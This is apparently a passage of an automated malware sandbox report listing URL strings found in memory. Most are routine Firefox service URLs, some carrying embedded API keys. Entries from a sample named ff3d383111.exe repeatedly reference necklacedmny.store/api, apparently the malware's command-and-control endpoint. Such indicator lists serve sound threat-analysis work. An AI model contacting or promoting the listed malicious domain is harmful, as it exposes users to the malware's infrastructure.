Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2211641296.0000016BB6F48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2211641296.0000016BB6F48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000017.00000002.2168127353.0000016BB4B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://global/skin/icons/pocket.svg
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-description-new
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2211641296.0000016BB6F48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsPocket
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000017.00000002.2132993978.0000016BB1903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB577A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB577A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000017.00000003.1993791305.0000016BB435A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993222239.0000016BB4100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2157587409.0000016BB4670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.1993377123.0000016BB431F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsTransaction/this._completionPromise
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000017.00000002.2185673260.0000016BB57DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2100956552.0000016BBC792000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000017.00000002.2123948491.0000016BA4811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Internal
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000017.00000002.2168127353.0000016BB4B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeBookmarksNumber
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000017.00000002.2259078814.0000016BBC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000017.00000002.2123948491.0000016BA48D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2168127353.0000016BB4BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000017.00000002.2168127353.0000016BB4BF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%resource://activity-stream/lib
Source: firefox.exe, 00000017.00000002.2153499352.0000016BB4532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2163644149.0000016BB488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 00000017.00000002.2217339582.0000016BB7B78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB7154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/TelemetryEvents.sys.mjsenv.channel
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB16CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2132993978.0000016BB1920000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource:///modules/BrowserContentHandler.sys.mjs
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997711235.0000016BB3B33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1997404526.0000016BB3B1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/module
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000017.00000002.2123948491.0000016BA48D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000017.00000002.2126775101.0000016BB01FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: ff3d383111.exe, 00000004.00000003.2131322643.00000000011D7000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1877919671.0000000005B19000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1915437671.0000000001238000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2113185240.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211581163.0000000001031000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2114091762.0000000001031000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211938111.0000000001020000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2087086009.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2089013132.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211088238.0000000001020000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2116187077.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2116477364.0000000001008000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115456778.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2010245333.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2032023440.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: ff3d383111.exe, 00000009.00000003.1975746842.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993836513.000000000587A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975545494.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/-
Source: ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/--6
Source: ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2116187077.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2116477364.0000000001008000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/..6
Source: ff3d383111.exe, 00000004.00000003.1895530570.0000000001233000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1895415115.0000000001226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/0
Source: ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/1lLo
Source: ff3d383111.exe, 00000009.00000003.2113185240.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2087086009.0000000001025000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115456778.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Il$o
Source: ff3d383111.exe, 00000009.00000003.1993602162.000000000587A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Z
Source: ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2035495629.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/al
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989886144.0000000001226000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1863552145.0000000001226000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989886144.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993668859.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2012997551.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009268838.0000000001010000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000001005000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2016595213.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2030022648.000000000587F000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2115837753.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211743409.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993442321.000000000587A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2035495629.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2008882900.0000000005880000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2114091762.000000000102E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993515475.000000000100D000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2008006640.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: ff3d383111.exe, 00000009.00000003.2030022648.000000000587F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api$
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api(6
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiN6b
Source: ff3d383111.exe, 00000009.00000003.1993442321.000000000587A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiS
Source: ff3d383111.exe, 00000009.00000003.2089013132.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apii
Source: ff3d383111.exe, 00000009.00000003.1993442321.000000000587A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apipZ
